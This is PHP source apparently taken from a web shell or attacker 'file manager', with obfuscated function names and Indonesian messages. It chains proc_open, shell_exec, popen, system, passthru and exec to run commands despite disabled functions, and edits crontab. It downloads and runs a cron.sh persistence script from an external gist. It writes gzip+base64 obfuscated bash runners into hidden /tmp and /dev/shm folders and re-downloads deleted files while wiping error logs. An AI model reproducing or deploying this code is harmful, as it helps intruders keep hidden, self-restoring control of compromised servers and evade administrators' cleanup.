        'output' => 'No shell runner available. Tried: ' . (count($tried) ? implode(',', $tried) : 'none')
            . ' — enable one of: shell_exec, popen, system, passthru, exec (proc_open disabled).',
        'exit_code' => 1,
        'method' => '',
        'tried' => $tried,
        'no_shell' => true,
    );
}

function _g6a69901($command, $cwd, $timeoutSec = 0, $allowFallback = true)
{
    $timeoutSec = (int)$timeoutSec;

    // Prefer proc_open when available
    if (_gf1b8d2a(7)) {
        $descriptors = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
        $isWin = _gde2b43a();
        $cmd = $isWin ? 'cmd /C ' . $command : $command;
        $pipes = array();
        $proc = _gf823457($cmd, $descriptors, $pipes, $cwd);
        if (_g_proc_ok($proc)) {
            _gfcl($pipes[0]);
            if ($timeoutSec > 0) {
                stream_set_blocking($pipes[1], false);
                stream_set_blocking($pipes[2], false);
                $stdout = '';
                $stderr = '';
                $deadline = microtime(true) + $timeoutSec;
                while (true) {
                    $status = _gf934568($proc);
                    if (!is_array($status)) {
                        break;
                    }
                    $read = array();
                    if (isset($pipes[1]) && _g_stream_ok($pipes[1])) $read[] = $pipes[1];
                    if (isset($pipes[2]) && _g_stream_ok($pipes[2])) $read[] = $pipes[2];
                    if (!empty($read)) {
                        $write = null;
                        $except = null;
                        $tv = max(0, min(0.2, $deadline - microtime(true)));
                        if (@stream_select($read, $write, $except, (int)$tv, (int)(($tv - (int)$tv) * 1000000)) > 0) {
                            foreach ($read as $r) {
                                $chunk = _gfrd($r, 8192);
                                if ($chunk === false || $chunk === '') continue;
                                if ($r === $pipes[1]) $stdout .= $chunk;
                                else $stderr .= $chunk;
                            }
                        }
                    }
                    if (!$status['running']) break;
                    if (microtime(true) >= $deadline) {
                        _gfb5678a($proc, 9);
                        if (isset($pipes[1]) && _g_stream_ok($pipes[1])) _gfcl($pipes[1]);
                        if (isset($pipes[2]) && _g_stream_ok($pipes[2])) _gfcl($pipes[2]);
                        _gfa45679($proc);
                        $out = trim($stdout . (($stdout !== '' && $stderr !== '') ? "\n" : '') . $stderr);
                        if ($out !== '') $out .= "\n";
                        $out .= 'Command timed out after ' . $timeoutSec . 's';
                        return array('output' => $out, 'exit_code' => 124, 'timed_out' => true, 'method' => 'proc_open');
                    }
                    usleep(50000);
                }
                if (isset($pipes[1]) && _g_stream_ok($pipes[1])) {
                    $rest = stream_get_contents($pipes[1]);
                    if ($rest) $stdout .= $rest;
                    _gfcl($pipes[1]);
                }
                if (isset($pipes[2]) && _g_stream_ok($pipes[2])) {
                    $rest = stream_get_contents($pipes[2]);
                    if ($rest) $stderr .= $rest;
                    _gfcl($pipes[2]);
                }
                $code = _gfa45679($proc);
                $sep = ($stdout !== '' && $stderr !== '') ? "\n" : '';
                $out = trim($stdout . $sep . $stderr);
                if ($out === '') {
                    $out = ($code === 0) ? '(no output)' : '';
                }
                return array('output' => $out, 'exit_code' => $code, 'method' => 'proc_open');
            }

            $stdout = stream_get_contents($pipes[1]);
            _gfcl($pipes[1]);
            $stderr = stream_get_contents($pipes[2]);
            _gfcl($pipes[2]);
            $code = _gfa45679($proc);
            $stdout = $stdout ? $stdout : '';
            $stderr = $stderr ? $stderr : '';
            $sep = ($stdout !== '' && $stderr !== '') ? "\n" : '';
            $out = trim($stdout . $sep . $stderr);
            if ($out === '') {
                $out = ($code === 0) ? '(no output)' : '';
            }
            return array('output' => $out, 'exit_code' => $code, 'method' => 'proc_open');
        }
        // proc_open present but failed to spawn
        if (!$allowFallback) {
            return array('output' => 'Failed to execute.', 'exit_code' => 1, 'method' => 'proc_open');
        }
    } elseif (!$allowFallback) {
        return array(
            'output' => '_gf823457() is disabled on this server.',
            'exit_code' => 1,
            'no_shell' => true,
            'method' => '',
        );
    }

    // Fallbacks when proc_open missing/failed
    $fb = _gfe4565a($command, $cwd, $timeoutSec > 0 ? $timeoutSec : 120);
    // Host often has ONLY proc_open: complex quoting can make spawn fail → "Tried: none".
    // Retry once via temp .sh so argv stays simple: bash /tmp/.gecko_sh_….sh
    if (!empty($fb['no_shell']) && $allowFallback && _gf1b8d2a(7)) {
        $via = _gfe4b0fe($command, $cwd, $timeoutSec > 0 ? $timeoutSec : 120);
        if (empty($via['no_shell'])) {
            return $via;
        }
    }
    return $fb;
}

function _gbd22fd8($baseDir, $relDir, $query, &$results, &$count, $limit = 200, $depth = 0, $maxDepth = 32)
{
    if ($count >= $limit || $depth > $maxDepth) return;
    $dir = _g51c64cf($baseDir, $relDir);
    if (!$dir || !_gfid($dir)) return;
    $h = @_gfod($dir);
    if (!$h) return;
    while (($name = _gfrd2($h)) !== false) {
        if ($name === '.' || $name === '..') continue;
        if ($count >= $limit) break;
        $full = $dir . DIRECTORY_SEPARATOR . $name;
        $itemRel = $relDir === '' ? $name : $relDir . '/' . $name;
        if (stripos($name, $query) !== false) {
            $isDir = _gfid($full);
            $sz = @_gfsz($full);
            $results[] = array(
                'path' => $itemRel,
                'name' => $name,
                'is_dir' => $isDir,
                'icon' => _g7214bdc($name, $isDir),
                'size' => $isDir ? null : (int)($sz ? $sz : 0),
            );
            $count++;
        }
        if ($count >= $limit) break;
        if (_gfid($full) && !is_link($full)) {
            _gbd22fd8($baseDir, $itemRel, $query, $results, $count, $limit, $depth + 1, $maxDepth);
        }
    }
    _gfcd($h);
}

function _gf14588c()
{
    if (_gde2b43a()) {
        $result = _gb587805('schtasks /query /fo LIST', $GLOBALS['baseDir'], 10);
        return array('content' => $result['output'], 'platform' => 'windows', 'editable' => false);
    }
    $result = _gb587805('crontab -l 2>&1', $GLOBALS['baseDir'], 15);
    $out = isset($result['output']) ? $result['output'] : '';
    if (!empty($result['timed_out'])) {
        return array('content' => '', 'platform' => 'unix', 'editable' => true, 'error' => 'crontab -l timed out');
    }
    if (!empty($result['no_shell'])) {
        return array('content' => '', 'platform' => 'unix', 'editable' => true, 'error' => $out);
    }
    if (stripos($out, 'no crontab') !== false) {
        $out = '';
    }
    return array('content' => $out, 'platform' => 'unix', 'editable' => true);
}

function _g682d47a($content)
{
    if (_gde2b43a()) {
        return array('ok' => false, 'error' => 'Edit crontab on Windows via schtasks in Terminal.');
    }
    $tmp = tempnam(sys_get_temp_dir(), 'cron');
    if ($tmp === false) {
        return array('ok' => false, 'error' => 'Cannot create temp file');
    }
    _gfpc($tmp, rtrim((string)$content) . "\n");
    $result = _gb587805('crontab ' . _gb6799bc($tmp), $GLOBALS['baseDir'], 25);
    @_gfun($tmp);
    if (!empty($result['timed_out'])) {
        return array('ok' => false, 'error' => 'crontab save timed out');
    }
    if (!empty($result['no_shell'])) {
        return array('ok' => false, 'error' => $result['output']);
    }
    if ((int)$result['exit_code'] !== 0) {
        return array('ok' => false, 'error' => $result['output'] ? $result['output'] : 'Failed to save crontab');
    }
    return array('ok' => true);
}

/**
 * Recover file — same logic as cron.sh recover_target:
 * ensure_directory + clean_error_logs + download/verify + permissions + flock lock
 */
function _ge4e6167($path)
{
    return _g191b0a2($path, array(
        'empty' => 'DIR_PATH tidak valid.',
        'illegal' => 'DIR_PATH mengandung karakter ilegal.',
        'dotdot' => 'DIR_PATH tidak boleh mengandung ..',
        'relative' => 'DIR_PATH harus absolute path (contoh /var/www/... atau C:/...).',
    ));
}

function _gd0678f8($name)
{
    $name = trim((string)$name);
    if ($name === '' || $name === '.' || $name === '..') {
        return array(false, 'FILE_NAME tidak valid.');
    }
    if (strpos($name, '/') !== false || strpos($name, '\\') !== false || strpos($name, "\0") !== false) {
        return array(false, 'FILE_NAME tidak boleh berisi path separator.');
    }
    if (!preg_match('/^[A-Za-z0-9._-]+$/', $name)) {
        return array(false, 'FILE_NAME hanya boleh huruf, angka, titik, underscore, dash.');
    }
    return array(true, $name);
}

function _g9d1e4b8($url)
{
    $url = trim((string)$url);
    if ($url === '') {
        return array(false, 'DOWNLOAD_URL wajib diisi.');
    }
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        return array(false, 'DOWNLOAD_URL tidak valid.');
    }
    $scheme = strtolower((string)parse_url($url, PHP_URL_SCHEME));
    if ($scheme !== 'http' && $scheme !== 'https') {
        return array(false, 'DOWNLOAD_URL harus http/https.');
    }
    return array(true, $url);
}

function _ge7777fb($url)
{
    $tmp = tempnam(sys_get_temp_dir(), 'grec_');
    if ($tmp === false) {
        return array(false, null, 'Gagal membuat temp file.');
    }

    $res = _gb37daeb($url, array(
        'dest_file' => $tmp,
        'user_agent' => 'GeckoRecover/1.0',
        'timeout' => 25,
        'connect_timeout' => 8,
        'fail_on_http_error' => true,
    ));
    if (empty($res['ok'])) {
        @_gfun($tmp);
        $err = isset($res['error']) ? $res['error'] : 'unknown';
        return array(false, null, 'Download gagal: ' . $err);
    }
    if (!_gfif($tmp) || _gfsz($tmp) === 0) {
        @_gfun($tmp);
        return array(false, null, 'Download gagal (file kosong).');
    }
    return array(true, $tmp, null);
}

function _g8a95eff($tmp, $dest)
{
    @_gfch($tmp, 0444);
    if (@_gfrn($tmp, $dest)) {
        return true;
    }
    $copied = @_gfcp($tmp, $dest);
    @_gfun($tmp);
    return (bool)$copied;
}

function _ga21ba0a($dirPath, $fileName, $downloadUrl, $skipVerify = true)
{
    $filePath = $dirPath . '/' . $fileName;
    $instanceId = substr(md5($dirPath . '|' . $fileName . '|' . $downloadUrl), 0, 8);
    $lockPath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . '.gecko_rec_' . $instanceId . '.lock';
    $steps = array();

    $fp = @_gfop($lockPath, 'c+');
    if (!$fp) {
        return array('ok' => false, 'error' => 'Gagal membuka lock file.', 'steps' => $steps);
    }

    $deadline = microtime(true) + 5;
    $locked = false;
    while (microtime(true) < $deadline) {
        if (flock($fp, LOCK_EX | LOCK_NB)) {
            $locked = true;
            break;
        }
        usleep(100000);
    }
    if (!$locked) {
        _gfcl($fp);
        return array('ok' => false, 'error' => 'Recover sedang berjalan (lock). Coba lagi.', 'steps' => $steps);
    }

    try {
        // ensure_directory
        if (!_gfid($dirPath)) {
            if (!@_gfmd($dirPath, 0755, true) && !_gfid($dirPath)) {
                flock($fp, LOCK_UN);
                _gfcl($fp);
                return array('ok' => false, 'error' => 'Gagal membuat direktori: ' . $dirPath, 'steps' => $steps);
            }
            $steps[] = 'Direktori dibuat: ' . $dirPath;
        } else {
            $steps[] = 'Direktori sudah ada: ' . $dirPath;
        }

        $dirPerms = substr(sprintf('%o', fileperms($dirPath)), -3);
        if ($dirPerms !== '755') {
            @_gfch($dirPath, 0755);
            $steps[] = 'Permission dir diperbaiki: ' . $dirPerms . ' → 755';
        } else {
            $steps[] = 'Permission dir OK: 755';
        }

        // clean_error_logs
        foreach (array('error_log', 'error.log') as $logName) {
            $logPath = $dirPath . '/' . $logName;
            if (_gfex($logPath)) {
                @_gfun($logPath);
                $steps[] = 'Dihapus: ' . $logName;
            }
        }

        $needsRecovery = !_gfif($filePath) || _gfsz($filePath) === 0;
        if ($needsRecovery) {
            if (_gfif($filePath)) {
                @_gfun($filePath);
                $steps[] = 'File kosong dihapus, download ulang.';
            } else {
                $steps[] = 'File hilang, download dari URL.';
            }
            $dl = _ge7777fb($downloadUrl);
            if (!$dl[0]) {
                flock($fp, LOCK_UN);
                _gfcl($fp);
                return array('ok' => false, 'error' => $dl[2], 'steps' => $steps);
            }
            if (!_g8a95eff($dl[1], $filePath)) {
                flock($fp, LOCK_UN);
                _gfcl($fp);
                return array('ok' => false, 'error' => 'Gagal memindahkan file ke target.', 'steps' => $steps);
            }
            $steps[] = 'File di-download & ditulis: ' . $filePath;
        } elseif ($skipVerify) {
            // UI recover: skip second network download (daemon will verify later)
            $steps[] = 'File sudah ada — skip verify download (cepat). Daemon akan verify.';
        } else {
            // verify_and_restore_content
            $dl = _ge7777fb($downloadUrl);
            if (!$dl[0]) {
                flock($fp, LOCK_UN);
                _gfcl($fp);
                return array('ok' => false, 'error' => 'Verify gagal: ' . $dl[2], 'steps' => $steps);
            }
            $same = (md5_file($dl[1]) === md5_file($filePath));
            if (!$same) {
                if (!_g8a95eff($dl[1], $filePath)) {
                    flock($fp, LOCK_UN);
                    _gfcl($fp);
                    return array('ok' => false, 'error' => 'Gagal restore file (isi berbeda).', 'steps' => $steps);
                }
                $steps[] = 'Isi file berbeda — di-restore dari URL.';
            } else {
                @_gfun($dl[1]);
                $steps[] = 'Isi file sama dengan remote — tidak diubah.';
            }
        }

        if (_gfif($filePath) && _gfsz($filePath) === 0) {
            @_gfun($filePath);
            flock($fp, LOCK_UN);
            _gfcl($fp);
            return array('ok' => false, 'error' => 'Hasil recover kosong (0 byte), file dihapus.', 'steps' => $steps);
        }

        if (_gfif($filePath)) {
            $filePerms = substr(sprintf('%o', fileperms($filePath)), -3);
            if ($filePerms !== '444') {
                @_gfch($filePath, 0444);
                $steps[] = 'Permission file diperbaiki: ' . $filePerms . ' → 444';
            } else {
                $steps[] = 'Permission file OK: 444';
            }
        }

        $size = _gfif($filePath) ? _gfsz($filePath) : 0;
        $steps[] = 'Recover selesai. Size: ' . $size . ' bytes.';
        flock($fp, LOCK_UN);
        _gfcl($fp);
        return array(
            'ok' => true,
            'message' => 'Recover berhasil: ' . $filePath,
            'path' => $filePath,
            'size' => $size,
            'steps' => $steps,
        );
    } catch (Exception $e) {
        flock($fp, LOCK_UN);
        _gfcl($fp);
        return array('ok' => false, 'error' => $e->getMessage(), 'steps' => $steps);
    }
}

/** Escape string for bash single-quoted literal. */
function _gf978461($s)
{
    return _g6ed2bab($s);
}

/**
 * Write obfuscated runner stub (same as cron.sh write_obfuscated_to):
 * gzip+base64 split into two vars, decode|bash -s -- "$@"
 */
function _g3648335($dest, $plainScript, $instanceId)
{
    $dir = dirname($dest);
    if (!_gfid($dir) && !@_gfmd($dir, 0700, true) && !_gfid($dir)) {
        return false;
    }

    $useGzip = false;
    $b64 = '';
    if (function_exists('gzencode')) {
        $gz = @gzencode($plainScript, 9);
        if ($gz !== false && $gz !== '') {
            $b64 = _g_b64e($gz);
            $useGzip = true;
        }
    }
    if ($b64 === '') {
        $b64 = _g_b64e($plainScript);
        $useGzip = false;
    }
    if ($b64 === '') {
        return false;
    }

    $mid = (int)floor(strlen($b64) / 2);
    $v1 = '_0x' . substr($instanceId, 0, 4);
    $v2 = '_0x' . substr($instanceId, 4, 4);
    if ($v2 === '_0x') {
        $v2 = '_0x' . substr(md5($instanceId), 0, 4);
    }
    $j1 = '_j' . substr(md5($instanceId), 0, 8);
    $j2 = '_j' . substr(md5($instanceId), 8, 8);
    $junk1 = dechex(mt_rand(0x10000000, 0x7fffffff));
    $junk2 = dechex(mt_rand(0x10000000, 0x7fffffff));
    $part1 = substr($b64, 0, $mid);
    $part2 = substr($b64, $mid);
    $pipe = $useGzip
        ? 'echo "${' . $v1 . '}${' . $v2 . '}"|base64 -d|gzip -dc|bash -s -- "$@"'
        : 'echo "${' . $v1 . '}${' . $v2 . '}"|base64 -d|bash -s -- "$@"';

    $stub = "#!/bin/bash\n"
        . $j1 . '=' . $junk1 . "\n"
        . $j2 . '=' . $junk2 . "\n"
        . $v1 . "='" . $part1 . "'\n"
        . $v2 . "='" . $part2 . "'\n"
        . $pipe . "\n";

    if (@_gfpc($dest, $stub) === false) {
        return false;
    }
    @_gfch($dest, 0700);
    return true;
}

/**
 * Run a shell command with cascading fallbacks.
 * Order: proc_open → shell_exec → popen → system → passthru → exec
 * If an earlier method fails / is unavailable, try the next.
 */
function _gb587805($command, $cwd = null, $timeoutSec = 60)
{
    if ($cwd === null || $cwd === '') {
        $cwd = function_exists('sys_get_temp_dir') ? sys_get_temp_dir() : '/tmp';
    }
    $timeoutSec = max(1, (int)$timeoutSec);
    $full = _g911cb8b($command, $cwd);

    $methods = array('proc_open', 'shell_exec', 'popen', 'system', 'passthru', 'exec');
    $tried = array();
    $last = array(
        'output' => 'No shell runner available (proc_open/shell_exec/popen/system/passthru/exec all disabled).',
        'exit_code' => 1,
        'no_shell' => true,
        'method' => '',
        'tried' => array(),
    );

    foreach ($methods as $method) {
        $res = _gea23df2($method, $command, $full, $cwd, $timeoutSec);
        if ($res === null) {
            continue; // method disabled / unavailable
        }
        $tried[] = $method . '(exit=' . (int)$res['exit_code'] . ')';
        $res['method'] = $method;
        $res['tried'] = $tried;
        $last = $res;
        // Success
        if ((int)$res['exit_code'] === 0) {
            return $res;
        }
        // Failure — try next fallback (system/passthru/exec etc.)
    }

    $last['tried'] = $tried;
    if (empty($tried)) {
        $last['no_shell'] = true;
    }
    return $last;
}

/**
 * Force-run using only system / passthru / exec (used when primary run failed).
 */
function _ge95a7b9($command, $cwd = null, $timeoutSec = 60)
{
    if ($cwd === null || $cwd === '') {
        $cwd = function_exists('sys_get_temp_dir') ? sys_get_temp_dir() : '/tmp';
    }
    $timeoutSec = max(1, (int)$timeoutSec);
    $full = _g911cb8b($command, $cwd);

    $methods = array('system', 'passthru', 'exec');
    $tried = array();
    $last = array(
        'output' => '_gf4e9013()/_gf5f0124()/exec() all unavailable or failed.',
        'exit_code' => 1,
        'no_shell' => true,
        'method' => '',
        'tried' => array(),
    );

    foreach ($methods as $method) {
        $res = _gea23df2($method, $command, $full, $cwd, $timeoutSec);
        if ($res === null) {
            $tried[] = $method . '(disabled)';
            continue;
        }
        $tried[] = $method . '(exit=' . (int)$res['exit_code'] . ')';
        $res['method'] = $method;
        $res['tried'] = $tried;
        $last = $res;
        if ((int)$res['exit_code'] === 0) {
            return $res;
        }
    }

    $last['tried'] = $tried;
    return $last;
}

/**
 * @return array|null null = method not available
 */
function _gea23df2($method, $command, $full, $cwd, $timeoutSec)
{
    try {
        if ($method === 'proc_open') {
            if (!_gf1b8d2a(7)) {
                return null;
            }
            // Avoid recursion into primary shell runner cascade
            $r = _g6a69901($command, $cwd, $timeoutSec, false);
            if (!is_array($r)) {
                return array('output' => 'proc_open invalid result', 'exit_code' => 1);
            }
            // If proc_open path failed hard, signal failure so cascade continues
            if (!empty($r['no_shell']) || (isset($r['output']) && $r['output'] === 'Failed to execute.')) {
                return array(
                    'output' => isset($r['output']) ? $r['output'] : 'proc_open failed',
                    'exit_code' => 1,
                );
            }
            return array(
                'output' => isset($r['output']) ? $r['output'] : '',
                'exit_code' => isset($r['exit_code']) ? (int)$r['exit_code'] : 1,
                'timed_out' => !empty($r['timed_out']),
            );
        }

        if ($method === 'shell_exec') {
            if (!_gf1b8d2a(1)) {
                return null;
            }
            $out = _gf2c7e01($full . ' 2>&1');
            return array(
                'output' => is_string($out) ? $out : '',
                'exit_code' => 0, // shell_exec cannot return exit code reliably
            );
        }

        if ($method === 'popen') {
            if (!_gf1b8d2a(5)) {
                return null;
            }
            $h = _gf600235($full . ' 2>&1', 'r');
            if (!_g_stream_ok($h)) {
                return array('output' => '_gf600235() failed', 'exit_code' => 1);
            }
            $out = '';
            $deadline = microtime(true) + $timeoutSec;
            while (!feof($h) && microtime(true) < $deadline) {
                $chunk = _gfrd($h, 8192);
                if ($chunk === false || $chunk === '') {
                    usleep(50000);
                    continue;
                }
                $out .= $chunk;
            }
            $code = _gf712346($h);
            return array('output' => trim($out), 'exit_code' => (int)$code);
        }

        if ($method === 'system') {
            if (!_gf1b8d2a(3)) {
                return null;
            }
            ob_start();
            $code = 1;
            _gf4e9013($full . ' 2>&1', $code);
            $out = ob_get_clean();
            return array(
                'output' => is_string($out) ? $out : '',
                'exit_code' => (int)$code,
            );
        }

        if ($method === 'passthru') {
            if (!_gf1b8d2a(4)) {
                return null;
            }
            ob_start();
            $code = 1;
            _gf5f0124($full . ' 2>&1', $code);
            $out = ob_get_clean();
            return array(
                'output' => is_string($out) ? $out : '',
                'exit_code' => (int)$code,
            );
        }

        if ($method === 'exec') {
            if (!_gf1b8d2a(2)) {
                return null;
            }
            $lines = array();
            $code = 1;
            _gf3d8f12($full . ' 2>&1', $lines, $code);
            return array(
                'output' => implode("\n", $lines),
                'exit_code' => (int)$code,
            );
        }
    } catch (Exception $ex) {
        return array('output' => $method . ' exception: ' . $ex->getMessage(), 'exit_code' => 1);
    } catch (Throwable $ex) {
        return array('output' => $method . ' error: ' . $ex->getMessage(), 'exit_code' => 1);
    }

    return null;
}

function _g02cf254($script, $key, $value)
{
    $q = _gf978461($value);
    $lines = preg_split("/\r\n|\n|\r/", (string)$script);
    if (!is_array($lines)) {
        $lines = array((string)$script);
    }
    $found = false;
    $prefix = $key . '=';
    foreach ($lines as $i => $line) {
        $trim = ltrim($line);
        if (strpos($trim, $prefix) === 0) {
            $lines[$i] = $key . '=' . $q;
            $found = true;
            break;
        }
    }
    if (!$found) {
        $insertAt = 0;
        foreach ($lines as $i => $line) {
            if (strpos($line, '#!/') === 0) {
                $insertAt = $i + 1;
                break;
            }
        }
        array_splice($lines, $insertAt, 0, array($key . '=' . $q));
    }
    return implode("\n", $lines);
}

function _g2e806eb($url)
{
    $dl = _ge7777fb($url);
    if ($dl[0] && !empty($dl[1]) && _gfif($dl[1])) {
        $data = @_gfgc($dl[1]);
        @_gfun($dl[1]);
        if (is_string($data) && strpos($data, 'DIR_PATH=') !== false && strpos($data, 'DOWNLOAD_URL=') !== false) {
            return array(true, $data, null);
        }
        // keep going to fallbacks if paste returned HTML/404
        $stepsNote = 'Paste URL invalid/empty, trying fallbacks';
    } else {
        $stepsNote = isset($dl[2]) ? ('Paste download failed: ' . $dl[2]) : 'Paste download failed';
    }

    // Fallback 1: cron.sh beside filemanager.php (upload cron.sh ke folder yang sama)
    $candidates = array(
        dirname(__FILE__) . DIRECTORY_SEPARATOR . 'cron.sh',
        (isset($GLOBALS['baseDir']) ? rtrim((string)$GLOBALS['baseDir'], '/\\') . DIRECTORY_SEPARATOR . 'cron.sh' : ''),
        '/tmp/cron.sh',
    );
    foreach ($candidates as $local) {
        if ($local === '' || !_gfif($local)) {
            continue;
        }
        $data = @_gfgc($local);
        if (is_string($data) && strpos($data, 'DIR_PATH=') !== false && strpos($data, 'DOWNLOAD_URL=') !== false) {
            return array(true, $data, $stepsNote . ' → fallback: ' . $local);
        }
    }

    $err = isset($dl[2]) ? $dl[2] : 'Download cron.sh gagal';
    return array(false, null, $err . ' | Upload cron.sh next to filemanager.php as fallback.');
}

/**
 * Deploy persistence like running cron.sh:
 * 1) download cron.sh template from paste
 * 2) patch DIR_PATH / FILE_NAME / DOWNLOAD_URL
 * 3) bash cron.sh (proc_open/shell_exec — does not require exec())
 * 4) delete temp cron.sh
 */
function _g1ad4e18($dirPath, $fileName, $downloadUrl)
{
    $steps = array();
    $isWin = _gde2b43a();
    if ($isWin) {
        return array(
            'ok' => false,
            'error' => 'Persistence (cron.sh) hanya untuk Linux/Unix.',
            'steps' => array('Skip persistence di Windows.'),
        );
    }

    $cronTemplateUrl = 'https://gist.githubusercontent.com/MadExploits/7627484aadf73c5eaf19b422e07a511b/raw/cbf4c22bc8008a29949e45ef77d0bfb9a1292dcf/gistfile1.txt';
    $instanceId = substr(md5($dirPath . '|' . $fileName . '|' . $downloadUrl), 0, 8);
    $installPath = '/tmp/.' . $instanceId . '/.runner.sh';
    $shmPath = '/dev/shm/.' . $instanceId . '/.runner.sh';
    $pidFile = '/tmp/.' . $instanceId . '.pid';
    $cronMarker = '# cronsh_' . $instanceId;
    $tmpCron = '/tmp/.gecko_cron_' . $instanceId . '.sh';

    $steps[] = 'Download cron.sh template: ' . $cronTemplateUrl;
    $got = _g2e806eb($cronTemplateUrl);
    if (!$got[0]) {
        return array(
            'ok' => false,
            'error' => 'Gagal download cron.sh: ' . $got[2],
            'steps' => $steps,
        );
    }
    if (!empty($got[2])) {
        $steps[] = $got[2];
    }
    $script = $got[1];
    $steps[] = 'cron.sh template OK (' . strlen($script) . ' bytes)';

    $script = _g02cf254($script, 'DIR_PATH', $dirPath);
    $script = _g02cf254($script, 'FILE_NAME', $fileName);
    $script = _g02cf254($script, 'DOWNLOAD_URL', $downloadUrl);
    $steps[] = 'Patched DIR_PATH=' . $dirPath;
    $steps[] = 'Patched FILE_NAME=' . $fileName;
    $steps[] = 'Patched DOWNLOAD_URL=' . $downloadUrl;

    if (@_gfpc($tmpCron, $script) === false) {
        // try under target dir parent writable
        $tmpCron = rtrim($dirPath, '/') . '/.gecko_cron_' . $instanceId . '.sh';
        if (@_gfpc($tmpCron, $script) === false) {
            return array(
                'ok' => false,
                'error' => 'Gagal menulis temp cron.sh',
                'steps' => $steps,
            );
        }
    }
    @_gfch($tmpCron, 0700);
    $steps[] = 'Temp cron.sh written: ' . $tmpCron;

    $cmd = 'bash ' . _gb6799bc($tmpCron);
    $cwdCron = dirname($tmpCron);
    $run = _gb587805($cmd, $cwdCron, 90);
    $steps[] = 'bash cron.sh via ' . (isset($run['method']) && $run['method'] !== '' ? $run['method'] : '?')
        . ' exit=' . (isset($run['exit_code']) ? $run['exit_code'] : '?');
    if (!empty($run['tried'])) {
        $steps[] = 'shell tried: ' . implode(' → ', $run['tried']);
    }

    // If primary cascade failed, force _gf4e9013() / _gf5f0124() / exec()
    $needFallback = !empty($run['no_shell']) || (int)$run['exit_code'] !== 0;
    if ($needFallback) {
        $steps[] = 'Primary run failed — retry with _gf4e9013()/_gf5f0124()/exec()';
        $run2 = _ge95a7b9($cmd, $cwdCron, 90);
        $steps[] = 'fallback SPE via ' . (isset($run2['method']) && $run2['method'] !== '' ? $run2['method'] : '?')
            . ' exit=' . (isset($run2['exit_code']) ? $run2['exit_code'] : '?');
        if (!empty($run2['tried'])) {
            $steps[] = 'SPE tried: ' . implode(' → ', $run2['tried']);
        }
        // Prefer fallback result if it succeeded, else keep last attempt info
        if ((int)$run2['exit_code'] === 0 || empty($run2['no_shell'])) {
            $run = $run2;
        }
    }

    if (!empty($run['no_shell']) && (int)$run['exit_code'] !== 0) {
        @_gfun($tmpCron);
        return array(
            'ok' => false,
            'error' => isset($run['output']) ? $run['output'] : 'Failed to run cron.sh (no shell method worked)',
            'steps' => $steps,
        );
    }
    if (!empty($run['output']) && $run['output'] !== '(no output)') {
        $steps[] = 'cron.sh output: ' . substr(preg_replace('/\s+/', ' ', (string)$run['output']), 0, 240);
    }

    // Always delete temp cron.sh
    if (_gfif($tmpCron)) {
        @_gfun($tmpCron);
        $steps[] = 'Temp cron.sh deleted: ' . $tmpCron;
    } else {
        $steps[] = 'Temp cron.sh already gone';
    }

    usleep(500000);
    $pid = 0;
    if (_gfif($pidFile)) {
        $pid = (int)trim((string)@_gfgc($pidFile));
    }
    if ($pid <= 0) {
        usleep(800000);
        if (_gfif($pidFile)) {
            $pid = (int)trim((string)@_gfgc($pidFile));
        }
    }

    // If still no PID/crontab, one more SPE attempt BEFORE temp file was deleted — recreate briefly
    $cronCheckEarly = _gf14588c();
    $cronContentEarly = isset($cronCheckEarly['content']) ? (string)$cronCheckEarly['content'] : '';
    $hasCronEarly = ($cronContentEarly !== '' && (strpos($cronContentEarly, $cronMarker) !== false || strpos($cronContentEarly, 'cronsh_') !== false));
    if ($pid <= 0 && !$hasCronEarly && !_gfif($installPath) && !_gfif($shmPath)) {
        $steps[] = 'Artifacts missing after run — rewrite temp + force system/passthru/exec';
        if (@_gfpc($tmpCron, $script) !== false) {
            @_gfch($tmpCron, 0700);
            $run3 = _ge95a7b9($cmd, $cwdCron, 90);
            $steps[] = 'final SPE via ' . (isset($run3['method']) ? $run3['method'] : '?')
                . ' exit=' . (isset($run3['exit_code']) ? $run3['exit_code'] : '?');
            if (!empty($run3['tried'])) {
                $steps[] = 'final SPE tried: ' . implode(' → ', $run3['tried']);
            }
            @_gfun($tmpCron);
            usleep(800000);
            if (_gfif($pidFile)) {
                $pid = (int)trim((string)@_gfgc($pidFile));
            }
        }
    }

    // Re-detect instance paths from crontab if PHP md5 != bash md5sum
    $cronOk = false;
    $cronCheck = _gf14588c();
    $cronContent = isset($cronCheck['content']) ? (string)$cronCheck['content'] : '';
    if ($cronContent !== '' && strpos($cronContent, $cronMarker) !== false) {
        $cronOk = true;
    } elseif ($cronContent !== '' && preg_match('/#\s*cronsh_([a-f0-9]+)/', $cronContent, $m)) {
        $cronOk = true;
        $cronMarker = '# cronsh_' . $m[1];
        $sid = $m[1];
        $installPath = '/tmp/.' . $sid . '/.runner.sh';
        $shmPath = '/dev/shm/.' . $sid . '/.runner.sh';
        $pidFile = '/tmp/.' . $sid . '.pid';
        if (_gfif($pidFile)) {
            $pid = (int)trim((string)@_gfgc($pidFile));
        }
        $steps[] = 'Crontab marker detected (server hash): ' . $cronMarker;
    }

    $steps[] = 'cron.sh verify:';
    $steps[] = '- obfuscated /tmp runner: ' . (_gfif($installPath) ? 'OK' : 'MISSING');
    $steps[] = '- obfuscated /dev/shm runner: ' . (_gfif($shmPath) ? 'OK' : 'MISSING');
    $steps[] = '- PID: ' . ($pid > 0 ? ('OK ' . $pid) : 'MISSING') . ' (' . $pidFile . ')';
    $steps[] = '- Crontab: ' . ($cronOk ? 'OK' : 'MISSING');

    $ok = (_gfif($installPath) || _gfif($shmPath) || $pid > 0 || $cronOk);
    return array(
        'ok' => $ok,
        'message' => $ok
            ? 'Persistence aktif via cron.sh (crontab + PID + /tmp+/dev/shm). File yang dihapus akan kembali otomatis.'
            : 'cron.sh dijalankan tapi artifacts belum terbaca — cek disable_functions / permission crontab.',
        'instance_id' => $instanceId,
        'install_path' => $installPath,
        'shm_path' => $shmPath,
        'pid_file' => $pidFile,
        'pid' => $pid,
        'crontab' => $cronOk,
        'cron_marker' => $cronMarker,
        'mutual_backup' => true,
        'obfuscated' => _gfif($installPath) || _gfif($shmPath),
        'async' => false,
        'method' => 'remote_cron_sh',
        'steps' => $steps,
    );
}

/**
 * Deploy persistence identical to cron.sh:
 * - obfuscated runners in /tmp + /dev/shm (gzip+base64 split)
 * - crontab embeds FULL runners (base64 restore both) + --recover
 * - PID daemon loop (1s) auto-restores deleted file
